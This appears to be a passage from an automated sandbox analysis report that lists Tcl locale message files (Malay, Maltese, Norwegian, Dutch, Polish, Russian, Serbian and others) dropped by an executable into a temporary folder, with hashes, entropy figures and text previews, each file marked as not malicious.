Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ms DAYS_OF_WEEK_ABBREV [list \. "Aha"\. "Isn"\. "Sei"\. "Rab"\. "Kha"\. "Jum"\. "Sab"]. ::msgcat::mcset ms DAYS_OF_WEEK_FULL [list \. "Ahad"\. "Isnin"\. "Selasa"\. "Rahu"\. "Khamis"\. "Jumaat"\. "Sabtu"]. ::msgcat::mcset ms MONTHS_ABBREV [list \. "Jan"\. "Feb"\. "Mac"\. "Apr"\. "Mei"\. "Jun"\. "Jul"\. "Ogos"\. "Sep"\. "Okt"\. "Nov"\. "Dis"\. ""]. ::msgcat::mcset ms MONTHS_FULL [list \. "Januari"\. "Februari"\. "Mac"\. "April"\. "Mei"\. "Jun"\. "Julai"\. "Ogos"\. "September"\. "Oktober"\. "November"\. "Disember"\. ""].}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\ms_my.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	259
Entropy (8bit):	4.770028367699931
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoChFflD/LoChF+3v6xH5oCh++3vflm6PYv:4EnLzu8IPflD/ne3v6Tl3vflm6q
MD5:	8261689A45FB754158B10B044BDC4965
SHA1:	6FFC9B16A0600D9BC457322F1316BC175309C6CA
SHA-256:	D05948D75C06669ADDB9708BC5FB48E6B651D4E62EF1B327EF8A3F605FD5271C
SHA-512:	0321A5C17B3E33FDE9480AC6014B373D1663219D0069388920D277AA61341B8293883517C900030177FF82D65340E6C9E3ED051B27708DD093055E3BE64B2AF3
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ms_MY DATE_FORMAT "%A %d %b %Y". ::msgcat::mcset ms_MY TIME_FORMAT_12 "%I:%M:%S %z". ::msgcat::mcset ms_MY DATE_TIME_FORMAT "%A %d %b %Y %I:%M:%S %z %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\mt.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	690
Entropy (8bit):	4.48913642143724
Encrypted:	false
SSDEEP:	12:4EnLzu8+YmWjjRgWfjxBTo4erxy1IGZzNN+3v6amK3vZsq:4azu8+YZjjRXbfNedy1IG5N6vjmsvGq
MD5:	CE7E67A03ED8C3297C6A5B634B55D144
SHA1:	3DA5ACC0F52518541810E7F2FE57751955E12BDA
SHA-256:	D115718818E3E3367847CE35BB5FF0361D08993D9749D438C918F8EB87AD8814
SHA-512:	3754AA7B7D27A813C6113D2AA834A951FED1B81E4DACE22C81E0583F29BBC73C014697F39A2067DEC622D98EACD70D26FD40F80CF6D09E1C949F01FADED52C74
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset mt DAYS_OF_WEEK_ABBREV [list \. "\u0126ad"\. "Tne"\. "Tli"\. "Erb"\. "\u0126am"\. "\u0120im"]. ::msgcat::mcset mt MONTHS_ABBREV [list \. "Jan"\. "Fra"\. "Mar"\. "Apr"\. "Mej"\. "\u0120un"\. "Lul"\. "Awi"\. "Set"\. "Ott"\. "Nov"]. ::msgcat::mcset mt BCE "QK". ::msgcat::mcset mt CE "". ::msgcat::mcset mt DATE_FORMAT "%A, %e ta %B, %Y". ::msgcat::mcset mt TIME_FORMAT_12 "%l:%M:%S %P". ::msgcat::mcset mt DATE_TIME_FORMAT "%A, %e ta %B, %Y %l:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\nb.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1157
Entropy (8bit):	4.24006506188001
Encrypted:	false
SSDEEP:	24:4azu8CKEj4/xasSpfiTBtHQT1V/W3WNfvZv3l:46KU/0s2iTeVOiHN1
MD5:	D5509ABF5CBFB485C20A26FCC6B1783E
SHA1:	53A298FBBF09AE2E223B041786443A3D8688C9EB
SHA-256:	BC401889DD934C49D10D99B471441BE2B536B1722739C7B0AB7DE7629680F602
SHA-512:	BDAFBA46EF44151CFD9EF7BC1909210F6DB2BAC20C31ED21AE3BE7EAC785CD4F545C4590CF551C0D066F982E2050F5844BDDC569F32C5804DBDE657F4511A6FE
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset nb DAYS_OF_WEEK_ABBREV [list \. "s\u00f8"\. "ma"\. "ti"\. "on"\. "to"\. "fr"\. "l\u00f8"]. ::msgcat::mcset nb DAYS_OF_WEEK_FULL [list \. "s\u00f8ndag"\. "mandag"\. "tirsdag"\. "onsdag"\. "torsdag"\. "fredag"\. "l\u00f8rdag"]. ::msgcat::mcset nb MONTHS_ABBREV [list \. "jan"\. "feb"\. "mar"\. "apr"\. "mai"\. "jun"\. "jul"\. "aug"\. "sep"\. "okt"\. "nov"\. "des"\. ""]. ::msgcat::mcset nb MONTHS_FULL [list \. "januar"\. "februar"\. "mars"\. "april"\. "mai"\. "juni"\. "juli"\. "august"\. "september"\. "oktober"\. "november"\. "desember"\. ""]. ::msgcat::mcset nb BCE "f.Kr.". ::msgcat::mcset nb CE "e.Kr.".

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\nl.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	4.158523842311663
Encrypted:	false
SSDEEP:	24:4azu84LFiS8LMKZoNfSZTNTQhFCNZvtWvg:46Oi5LMKZASZTEF2Ntgg
MD5:	98820DFF7E1C8A9EAB8C74B0B25DEB5D
SHA1:	5357063D5699188E544D244EC4AEFDDF7606B922
SHA-256:	49128B36B88E380188059C4B593C317382F32E29D1ADC18D58D14D142459A2BB
SHA-512:	26AB945B7BA00433BEC85ACC1D90D1D3B70CE505976CABE1D75A7134E00CD591AC27463987C515EEA079969DBCF200DA9C8538CAAF178A1EE17C9B0284260C45
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset nl DAYS_OF_WEEK_ABBREV [list \. "zo"\. "ma"\. "di"\. "wo"\. "do"\. "vr"\. "za"]. ::msgcat::mcset nl DAYS_OF_WEEK_FULL [list \. "zondag"\. "maandag"\. "dinsdag"\. "woensdag"\. "donderdag"\. "vrijdag"\. "zaterdag"]. ::msgcat::mcset nl MONTHS_ABBREV [list \. "jan"\. "feb"\. "mrt"\. "apr"\. "mei"\. "jun"\. "jul"\. "aug"\. "sep"\. "okt"\. "nov"\. "dec"\. ""]. ::msgcat::mcset nl MONTHS_FULL [list \. "januari"\. "februari"\. "maart"\. "april"\. "mei"\. "juni"\. "juli"\. "augustus"\. "september"\. "oktober"\. "november"\. "december"\. ""]. ::msgcat::mcset nl DATE_FORMAT "%e %B %Y". ::msgcat::mcset nl TIME_FORM

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\nl_be.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	279
Entropy (8bit):	4.817188474504631
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmo4gPI5og9X3vG5og9X3v6X5o49+3vnFDoAov:4EnLzu8WgAhF3v8F3v6JI3v9dy
MD5:	B08E30850CA849068D06A99B4E216892
SHA1:	11B5E95FF4D822E76A1B9C28EEC2BC5E95E5E362
SHA-256:	9CD54EC24CBDBEC5E4FE543DDA8CA95390678D432D33201FA1C32B61F8FE225A
SHA-512:	9AF147C2F22B11115E32E0BFD0126FE7668328E7C67B349A781F42B0022A334E53DDF3FCCC2C34C91BFBB45602A002D0D7B569B5E1FE9F0EE6C4570400CB0B0C
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset nl_BE DATE_FORMAT "%d-%m-%y". ::msgcat::mcset nl_BE TIME_FORMAT "%T". ::msgcat::mcset nl_BE TIME_FORMAT_12 "%T". ::msgcat::mcset nl_BE DATE_TIME_FORMAT "%a %d %b %Y %T %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\nn.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	4.207752506572597
Encrypted:	false
SSDEEP:	24:4azu8eNsP2/xhsSpf2TBtHQT15j63WN7v9v3l:46it/vs22Te5OiL51
MD5:	2266607EF358B632696C7164E61358B5
SHA1:	A380863A8320DAB1D5A2D60C22ED5F7DB5C7BAF7
SHA-256:	5EE93A8C245722DEB64B68EFF50C081F24DA5DE43D999C006A10C484E1D3B4ED
SHA-512:	2A8DEF754A25736D14B958D8B0CEA0DC41C402A9EFA25C9500BA861A7E8D74C79939C1969AC694245605C17D33AD3984F6B9ACCA4BE03EFC41A878772BB5FD86
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset nn DAYS_OF_WEEK_ABBREV [list \. "su"\. "m\u00e5"\. "ty"\. "on"\. "to"\. "fr"\. "lau"]. ::msgcat::mcset nn DAYS_OF_WEEK_FULL [list \. "sundag"\. "m\u00e5ndag"\. "tysdag"\. "onsdag"\. "torsdag"\. "fredag"\. "laurdag"]. ::msgcat::mcset nn MONTHS_ABBREV [list \. "jan"\. "feb"\. "mar"\. "apr"\. "mai"\. "jun"\. "jul"\. "aug"\. "sep"\. "okt"\. "nov"\. "des"\. ""]. ::msgcat::mcset nn MONTHS_FULL [list \. "januar"\. "februar"\. "mars"\. "april"\. "mai"\. "juni"\. "juli"\. "august"\. "september"\. "oktober"\. "november"\. "desember"\. ""]. ::msgcat::mcset nn BCE "f.Kr.". ::msgcat::mcset nn CE "e.Kr.". ::msgca

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\pl.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1211
Entropy (8bit):	4.392723231340452
Encrypted:	false
SSDEEP:	12:4EnLzu854moKR4mtPoTckd8EnO6z3K4jwxI1LRhtm3ni8FwxIBgdE4RsMZmB0CLs:4azu8yNgyJxPEyRhonO+AjTg0Okvpvn
MD5:	31A9133E9DCA7751B4C3451D60CCFFA0
SHA1:	FB97A5830965716E77563BE6B7EB1C6A0EA6BF40
SHA-256:	C39595DDC0095EB4AE9E66DB02EE175B31AC3DA1F649EB88FA61B911F838F753
SHA-512:	329EE7FE79783C83361A0C5FFFD7766B64B8544D1AD63C57AEAA2CC6A526E01D9C4D7765C73E88F86DAE57477459EA330A0C42F39E441B50DE9B0F429D01EAE8
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset pl DAYS_OF_WEEK_ABBREV [list \. "N"\. "Pn"\. "Wt"\. "\u015ar"\. "Cz"\. "Pt"\. "So"]. ::msgcat::mcset pl DAYS_OF_WEEK_FULL [list \. "niedziela"\. "poniedzia\u0142ek"\. "wtorek"\. "\u015broda"\. "czwartek"\. "pi\u0105tek"\. "sobota"]. ::msgcat::mcset pl MONTHS_ABBREV [list \. "sty"\. "lut"\. "mar"\. "kwi"\. "maj"\. "cze"\. "lip"\. "sie"\. "wrz"\. "pa\u017a"\. "lis"\. "gru"\. ""]. ::msgcat::mcset pl MONTHS_FULL [list \. "stycze\u0144"\. "luty"\. "marzec"\. "kwiecie\u0144"\. "maj"\. "czerwiec"\. "lipiec"\. "sierpie\u0144"\. "wrzesie\u0144"\. "pa\u017adziernik"\. "listopad"\. "grudzie\u0144"\. ""]. ::msgcat::m

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\pt.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1127
Entropy (8bit):	4.325163993882846
Encrypted:	false
SSDEEP:	24:4azu8pYpzzktTYyUgC0CIKjblie5f9kwAAs+CFsFoD6GADvtU6svO:46dCzWTh2AA9/2F4oD6GAztU6KO
MD5:	D827F76D1ED6CB89839CAC2B56FD7252
SHA1:	140D6BC1F6CEF5FD0A390B3842053BF54B54B4E2
SHA-256:	9F2BFFA3B4D8783B2CFB2CED9CC4319ACF06988F61829A1E5291D55B19854E88
SHA-512:	B662336699E23E371F0148EDD742F71874A7A28DFA81F0AFAE91C8C9494CEA1904FEA0C21264CF2A253E0FB1360AD35B28CFC4B74E4D7B2DBB0E453E96F7EB93
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset pt DAYS_OF_WEEK_ABBREV [list \. "Dom"\. "Seg"\. "Ter"\. "Qua"\. "Qui"\. "Sex"\. "S\u00e1b"]. ::msgcat::mcset pt DAYS_OF_WEEK_FULL [list \. "Domingo"\. "Segunda-feira"\. "Ter\u00e7a-feira"\. "Quarta-feira"\. "Quinta-feira"\. "Sexta-feira"\. "S\u00e1bado"]. ::msgcat::mcset pt MONTHS_ABBREV [list \. "Jan"\. "Fev"\. "Mar"\. "Abr"\. "Mai"\. "Jun"\. "Jul"\. "Ago"\. "Set"\. "Out"\. "Nov"\. "Dez"\. ""]. ::msgcat::mcset pt MONTHS_FULL [list \. "Janeiro"\. "Fevereiro"\. "Mar\u00e7o"\. "Abril"\. "Maio"\. "Junho"\. "Julho"\. "Agosto"\. "Setembro"\. "Outubro"\. "Novembro"\. "Dezembro"\. ""]. ::msgcat::mcset pt DATE_FO

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\pt_br.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	279
Entropy (8bit):	4.8127929329126085
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmofm6GPWHFLofAW3vG5ofAW3v6X5ofm6T+3vnFDoAov:4EnLzu8hNGgF493vr93v6uNK3v9dy
MD5:	4EE34960147173A12020A583340E92F8
SHA1:	78D91A80E2426A84BC88EE97DA28EC0E4BE8DE45
SHA-256:	E383B20484EE90C00054D52DD5AF473B2AC9DC50C14D459A579EF5F44271D256
SHA-512:	EDFF8FB9A86731FFF005AFBBBB522F69B2C6033F59ECCD5E35A8B6A9E0F9AF23C52FFDCC22D893915AD1854E8104C81DA8C5BD8C794C7E645AFB82001B4BFC24
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset pt_BR DATE_FORMAT "%d-%m-%Y". ::msgcat::mcset pt_BR TIME_FORMAT "%T". ::msgcat::mcset pt_BR TIME_FORMAT_12 "%T". ::msgcat::mcset pt_BR DATE_TIME_FORMAT "%a %d %b %Y %T %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\ro.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	4.279005910896047
Encrypted:	false
SSDEEP:	24:4azu8/0oFUBZNk1Mkp3pFukZEoVYfPcF+T1vWFMvUvWI3:46kNkKkpLEoSfPcFgvWFqSWI3
MD5:	0F5C8A7022DB1203442241ABEB5901FF
SHA1:	C54C8BF05E8E6C2C0901D3C88C89DDCF35A26924
SHA-256:	D2E14BE188350D343927D5380EB5672039FE9A37E9A9957921B40E4619B36027
SHA-512:	13ACF499FA803D4446D8EC67119BC8257B1F093084B83D854643CEA918049F96C8FA08DC5F896EECA80A5FD552D90E5079937B1A3894D89A589E468172856163
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ro DAYS_OF_WEEK_ABBREV [list \. "D"\. "L"\. "Ma"\. "Mi"\. "J"\. "V"\. "S"]. ::msgcat::mcset ro DAYS_OF_WEEK_FULL [list \. "duminic\u0103"\. "luni"\. "mar\u0163i"\. "miercuri"\. "joi"\. "vineri"\. "s\u00eemb\u0103t\u0103"]. ::msgcat::mcset ro MONTHS_ABBREV [list \. "Ian"\. "Feb"\. "Mar"\. "Apr"\. "Mai"\. "Iun"\. "Iul"\. "Aug"\. "Sep"\. "Oct"\. "Nov"\. "Dec"\. ""]. ::msgcat::mcset ro MONTHS_FULL [list \. "ianuarie"\. "februarie"\. "martie"\. "aprilie"\. "mai"\. "iunie"\. "iulie"\. "august"\. "septembrie"\. "octombrie"\. "noiembrie"\. "decembrie"\. ""]. ::msgcat::mcset ro BCE "d.C.". ::msgcat::mcset ro CE

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\ru.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2039
Entropy (8bit):	4.225775794669275
Encrypted:	false
SSDEEP:	48:46CpQ7kvicQfAQPlQoBBCZAitBmZ/QhQoQaQPTeQgQonQ4FQEWFkt3Wd:hCpgkvzRo6QBw53weFHXFgIGd
MD5:	3A7181CE08259FF19D2C27CF8C6752B3
SHA1:	97DFFB1E224CEDB5427841C3B59F85376CD4423B
SHA-256:	C2A3A0BE5BC5A46A6A63C4DE34E317B402BAD40C22FB2936E1A4F53C1E2F625F
SHA-512:	CC9620BA4601E53B22CCFC66A0B53C26224158379DF6BA2D4704A2FE11222DFBDAE3CA9CF51576B4084B8CCA8DB13FDE81396E38F94BCD0C8EA21C5D77680394
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ru DAYS_OF_WEEK_ABBREV [list \. "\u0412\u0441"\. "\u041f\u043d"\. "\u0412\u0442"\. "\u0421\u0440"\. "\u0427\u0442"\. "\u041f\u0442"\. "\u0421\u0431"]. ::msgcat::mcset ru DAYS_OF_WEEK_FULL [list \. "\u0432\u043e\u0441\u043a\u0440\u0435\u0441\u0435\u043d\u044c\u0435"\. "\u043f\u043e\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u0438\u043a"\. "\u0432\u0442\u043e\u0440\u043d\u0438\u043a"\. "\u0441\u0440\u0435\u0434\u0430"\. "\u0447\u0435\u0442\u0432\u0435\u0440\u0433"\. "\u043f\u044f\u0442\u043d\u0438\u0446\u0430"\. "\u0441\u0443\u0431\u0431\u043e\u0442\u0430"]. ::msgcat::mcset ru MONTHS_ABBREV [list \. "\u044f\u043d\u0432"\. "\u0444\u0435\u0432"\. "\u043c\u0430\u0440"\. "\u0430\u043f\u0440"\. "\u043c\u0430\u0439"\. "\u0438\u044e\u043d"\. "\u0438\u

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\ru_ua.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	242
Entropy (8bit):	4.8961185447535
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoVAgWFLoVY9X3vtfNrFLoVA9+3vW6Q9:4EnLzu8DFWFgaX3vtNS/3vWH9
MD5:	E719F47462123A8E7DABADD2D362B4D8
SHA1:	332E4CC96E7A01DA7FB399EA14770A5C5185B9F2
SHA-256:	AE5D3DF23F019455F3EDFC3262AAC2B00098881F09B9A934C0D26C0AB896700C
SHA-512:	93C19D51B633A118AB0D172C5A0991E5084BD54B2E61469D800F80B251A57BD1392BA66FD627586E75B1B075A7C9C2C667654F5783C423819FBDEA640A210BFA
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ru_UA DATE_FORMAT "%d.%m.%Y". ::msgcat::mcset ru_UA TIME_FORMAT "%k:%M:%S". ::msgcat::mcset ru_UA DATE_TIME_FORMAT "%d.%m.%Y %k:%M:%S %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\sh.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	4.287536872407747
Encrypted:	false
SSDEEP:	24:4azu8YYy/FY+Cnwj4EbJK5O9g+tQhgQmy/L6GWGvtlMsvWT9:46al4ETw/rWQtVWh
MD5:	C7BBD44BD3C30C6116A15C77B15F8E79
SHA1:	37CD1477A3318838E8D5C93D596A23F99C8409F2
SHA-256:	00F119701C9F3EBA273701A6A731ADAFD7B8902F6BCCF34E61308984456E193A
SHA-512:	DAFBDA53CF6AD57A4F6A078E9EF8ED3CACF2F8809DC2AEFB812A4C3ACCD51D954C52079FA26828D670BF696E14989D3FE3C249F1E612B7C759770378919D8BBC
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset sh DAYS_OF_WEEK_ABBREV [list \. "Ned"\. "Pon"\. "Uto"\. "Sre"\. "\u010cet"\. "Pet"\. "Sub"]. ::msgcat::mcset sh DAYS_OF_WEEK_FULL [list \. "Nedelja"\. "Ponedeljak"\. "Utorak"\. "Sreda"\. "\u010cetvrtak"\. "Petak"\. "Subota"]. ::msgcat::mcset sh MONTHS_ABBREV [list \. "Jan"\. "Feb"\. "Mar"\. "Apr"\. "Maj"\. "Jun"\. "Jul"\. "Avg"\. "Sep"\. "Okt"\. "Nov"\. "Dec"\. ""]. ::msgcat::mcset sh MONTHS_FULL [list \. "Januar"\. "Februar"\. "Mart"\. "April"\. "Maj"\. "Juni"\. "Juli"\. "Avgust"\. "Septembar"\. "Oktobar"\. "Novembar"\. "Decembar"\. ""]. ::msgcat::mcset sh BCE "p. n. e.". ::msgcat::mcset sh CE "n. e."

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\sk.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1203
Entropy (8bit):	4.335103779497533
Encrypted:	false
SSDEEP:	24:4azu834j4PV3sSAT3fk3TEJbAT3T1cPyF3eYuCvte/v3eG:46TUG3sPk3TEkcPyFpuEtenJ
MD5:	B2EF88014D274C8001B36739F5F566CE
SHA1:	1044145C1714FD44D008B13A31BC778DFBE47950
SHA-256:	043DECE6EA7C83956B3300B95F8A0E92BADAA8FC29D6C510706649D1D810679A
SHA-512:	820EB42D94BEE21FDB990FC27F7900CF676AFC59520F3EE78FB72D6D7243A17A234D4AE964E5D52AD7CBC7DD9A593F672BAD8A80EC48B25B344AA6950EF52ECF
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset sk DAYS_OF_WEEK_ABBREV [list \. "Ne"\. "Po"\. "Ut"\. "St"\. "\u0160t"\. "Pa"\. "So"]. ::msgcat::mcset sk DAYS_OF_WEEK_FULL [list \. "Nede\u013ee"\. "Pondelok"\. "Utorok"\. "Streda"\. "\u0160tvrtok"\. "Piatok"\. "Sobota"]. ::msgcat::mcset sk MONTHS_ABBREV [list \. "jan"\. "feb"\. "mar"\. "apr"\. "m\u00e1j"\. "j\u00fan"\. "j\u00fal"\. "aug"\. "sep"\. "okt"\. "nov"\. "dec"\. ""]. ::msgcat::mcset sk MONTHS_FULL [list \. "janu\u00e1r"\. "febru\u00e1r"\. "marec"\. "apr\u00edl"\. "m\u00e1j"\. "j\u00fan"\. "j\u00fal"\. "august"\. "september"\. "okt\u00f3ber"\. "november"\. "december"\. ""]. ::msgcat::mcset sk BCE

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\sl.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1164
Entropy (8bit):	4.26110325084843
Encrypted:	false
SSDEEP:	24:4azu8PyUpd4+RfscasS9CErTByism1KSCvt1vJo6:462U/ENsqrTtVEtRx
MD5:	2566BDE28B17C526227634F1B4FC7047
SHA1:	BE6940EC9F4C5E228F043F9D46A42234A02F4A03
SHA-256:	BD488C9D791ABEDF698B66B768E2BF24251FFEAF06F53FB3746CAB457710FF77
SHA-512:	CC684BFC82CA55240C5B542F3F63E0FF43AEF958469B3978E414261BC4FADB50A0AE3554CF2468AC88E4DDB70D2258296C0A2FBB69312223EED56C7C03FEC17C
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset sl DAYS_OF_WEEK_ABBREV [list \. "Ned"\. "Pon"\. "Tor"\. "Sre"\. "\u010cet"\. "Pet"\. "Sob"]. ::msgcat::mcset sl DAYS_OF_WEEK_FULL [list \. "Nedelja"\. "Ponedeljek"\. "Torek"\. "Sreda"\. "\u010cetrtek"\. "Petek"\. "Sobota"]. ::msgcat::mcset sl MONTHS_ABBREV [list \. "jan"\. "feb"\. "mar"\. "apr"\. "maj"\. "jun"\. "jul"\. "avg"\. "sep"\. "okt"\. "nov"\. "dec"\. ""]. ::msgcat::mcset sl MONTHS_FULL [list \. "januar"\. "februar"\. "marec"\. "april"\. "maj"\. "junij"\. "julij"\. "avgust"\. "september"\. "oktober"\. "november"\. "december"\. ""]. ::msgcat::mcset sl BCE "pr.n.\u0161.". ::msgcat::mcset sl CE "p

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\sq.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	4.339253133089184
Encrypted:	false
SSDEEP:	24:4azu82qJw7W5wO6jwbNU7FtHhoJCLov4v2:46iWrvGtBo6+O2
MD5:	931A009F7E8A376972DE22AD5670EC88
SHA1:	44AEF01F568250851099BAA8A536FBBACD3DEBBB
SHA-256:	CB27007E138315B064576C17931280CFE6E6929EFC3DAFD7171713D204CFC3BF
SHA-512:	47B230271CD362990C581CD6C06B0BCEA23E10E03D927C7C28415739DB3541D69D1B87DF554E9B4F00ECCAAB0F6AC0565F9EB0DEA8B75C54A90B2D53C928D379
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset sq DAYS_OF_WEEK_ABBREV [list \. "Die"\. "H\u00ebn"\. "Mar"\. "M\u00ebr"\. "Enj"\. "Pre"\. "Sht"]. ::msgcat::mcset sq DAYS_OF_WEEK_FULL [list \. "e diel"\. "e h\u00ebn\u00eb"\. "e mart\u00eb"\. "e m\u00ebrkur\u00eb"\. "e enjte"\. "e premte"\. "e shtun\u00eb"]. ::msgcat::mcset sq MONTHS_ABBREV [list \. "Jan"\. "Shk"\. "Mar"\. "Pri"\. "Maj"\. "Qer"\. "Kor"\. "Gsh"\. "Sht"\. "Tet"\. "N\u00ebn"\. "Dhj"\. ""]. ::msgcat::mcset sq MONTHS_FULL [list \. "janar"\. "shkurt"\. "mars"\. "prill"\. "maj"\. "qershor"\. "korrik"\. "gusht"\. "shtator"\. "tetor"\. "n\u00ebntor"\. "dhjetor"\. ""]. ::msgcat::mcset sq BCE "p.e.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\sr.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2035
Entropy (8bit):	4.24530896413441
Encrypted:	false
SSDEEP:	48:46qoQCSdQqQP4QSsIVKP10NupiuQxQaQLlKnM28nGtfR:hjIX15VKP6NmBU3YKnFbp
MD5:	5CA16D93718AAA813ADE746440CF5CE6
SHA1:	A142733052B87CA510B8945256399CE9F873794C
SHA-256:	313E8CDBBC0288AED922B9927A7331D0FAA2E451D4174B1F5B76C5C9FAEC8F9B
SHA-512:	4D031F9BA75D45EC89B2C74A870CCDA41587650D7F9BC91395F68B70BA3CD7A7105E70C19D139D20096533E06F5787C00EA850E27C4ADCF5A28572480D39B639
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset sr DAYS_OF_WEEK_ABBREV [list \. "\u041d\u0435\u0434"\. "\u041f\u043e\u043d"\. "\u0423\u0442\u043e"\. "\u0421\u0440\u0435"\. "\u0427\u0435\u0442"\. "\u041f\u0435\u0442"\. "\u0421\u0443\u0431"]. ::msgcat::mcset sr DAYS_OF_WEEK_FULL [list \. "\u041d\u0435\u0434\u0435\u0459\u0430"\. "\u041f\u043e\u043d\u0435\u0434\u0435\u0459\u0430\u043a"\. "\u0423\u0442\u043e\u0440\u0430\u043a"\. "\u0421\u0440\u0435\u0434\u0430"\. "\u0427\u0435\u0442\u0432\u0440\u0442\u0430\u043a"\. "\u041f\u0435\u0442\u0430\u043a"\. "\u0421\u0443\u0431\u043e\u0442\u0430"]. ::msgcat::mcset sr MONTHS_ABBREV [list \. "\u0408\u0430\u043d"\. "\u0424\u0435\u0431"\. "\u041c\u0430\u0440"\. "\u0410\u043f\u0440"\. "\u041c\u0430\u0458"\. "\u0408\u0443\u043d"\. "\u0408\u0443\u043b"\.

